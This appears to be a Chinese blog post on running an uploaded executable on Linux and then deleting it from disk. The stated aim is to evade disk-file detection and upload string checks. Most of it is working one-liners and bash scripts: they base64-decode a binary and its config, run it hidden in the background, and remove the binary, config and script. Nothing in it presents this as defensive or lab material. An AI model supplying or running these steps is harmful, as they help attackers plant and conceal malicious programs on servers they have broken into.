linux文件上传后执行脚本,linux执行后台可执行文件后自删除脚本

摘要:linux执行可执行文件后,删除可执行文件以规避硬盘文件检查。因为linux特殊机制,可执行文件执行后,是可以删除的。所以把可执行文件放入后台执行,然后把硬盘上的文件删除,可以规避一定的检测。

bae64命令

如果禁止上传可执行文件,或者对上传的文件有字符串检测,可以把可执行文件转换成base64字符串,然后再还原回去。base64 docker > dockerbase

//将docker可执行文件转换成base64字符串然后存入dockerbase

base64 docker.pb > dockerconfig

//将docker.pb文件转换成base64字符串然后存入dockerconfigbase64 -d dockerbase > docker

//从dockerbase文件中读取base64字符串,然后还原成docker可执行文件

base64 -d dockerconfig > docker.pb

//从dockerconfig文件中读取base64字符串,然后还原成docker.pb

执行可执行文件然后自删除

bash命令行// 第一个版本

// 第一条命令显示错误信息到控制台

// 第二条不显示错误信息到控制台

base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;`./docker -config ./docker.pb> /dev/null &`;sleep 8;rm -rf ./docker;rm -rf ./docker.pb;

base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;`./docker -config ./docker.pb> /dev/null 2>&1 &`;sleep 8;rm -rf ./docker;rm -rf ./docker.pb;

//第二个版本,和第二个版本功能等同

base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;$(./docker -config ./docker.pb> /dev/null &);sleep 8;rm -rf ./docker;rm -rf ./docker.pb;

base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;$(./docker -config ./docker.pb> /dev/null 2>&1 &);sleep 8;rm -rf ./docker;rm -rf ./docker.pb;

//补充

base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;(./docker -config ./docker.pb> /dev/null 2>&1 &);sleep 8;rm -rf ./docker;rm -rf ./docker.pb;

base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;{ ./docker -config ./docker.pb> /dev/null 2>&1 &};sleep 8;rm -rf ./docker;rm -rf ./docker.pb;

base64 -d dockerbase > docker;base64 -d dockerconfig > docker.pb;chmod 777 docker;chmod 777 docker.pb;{ ./docker -config ./docker.pb> /dev/null 2>&1 & };sleep 8;rm -rf ./docker;rm -rf ./docker.pb;

bash脚本形式

版本一

文件名为1.bash#!/bin/bash

base64 -d dockerbase > docker

base64 -d dockerconfig > docker.pb

chmod 777 docker

chmod 777 docker.pb

./docker -config docker.pb> /dev/null 2>&1 &

rm -rf ./docker

rm -rf ./docker.pb

rm -rf ./1.bash

版本二#!/bin/bash

base64 -d dockerbase > docker

base64 -d dockerconfig > docker.pb

chmod 777 docker

chmod 777 docker.pb

a=$(pwd)

b="/docker -config "

d='/docker.pb'

e=$a$b$a$d

$($e > /dev/null &)

sleep 8

rm -rf ./docker

rm -rf ./docker.pb

rm -rf ./1.bash

版本三

文件名为1.bash#!/bin/bash

base64 -d dockerbase > docker

base64 -d dockerconfig > docker.pb

chmod 777 docker

chmod 777 docker.pb

a=$(pwd)

b="/docker -config "

d='/docker.pb'

e=$a$b$a$d

`$e > /dev/null &`

sleep 8

rm -rf ./docker

rm -rf ./docker.pb

rm -rf ./1.bash

刚开始以为下面这样就可以运行#!/bin/bash

base64 -d dockerbase > docker

base64 -d dockerconfig > docker.pb

chmod 777 docker

chmod 777 docker.pb

a=$(pwd)

b="/docker -config "

d='/docker.pb > /dev/null &'

e=$a$b$a$d

`$e`

sleep 8

rm -rf ./docker

rm -rf ./docker.pb

rm -rf ./1.bash

结果发现 > /dev/null & 不能写进字符串中(原因估计就是重定向符>的原因)。即`$e > /dev/null &` // 正确 e=/root/docker/docker -config /root/docker/docker.pb ,不能写成下面的

`$e` // 错误,e=/root/docker/docker -config /root/docker/docker.pb > /dev/null &

39072c9b8b9e0c3bdfbba9b4418b1d6a.png

进程23603为正确版本运行结果,进程22249为错误版本运行结果。

源代码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值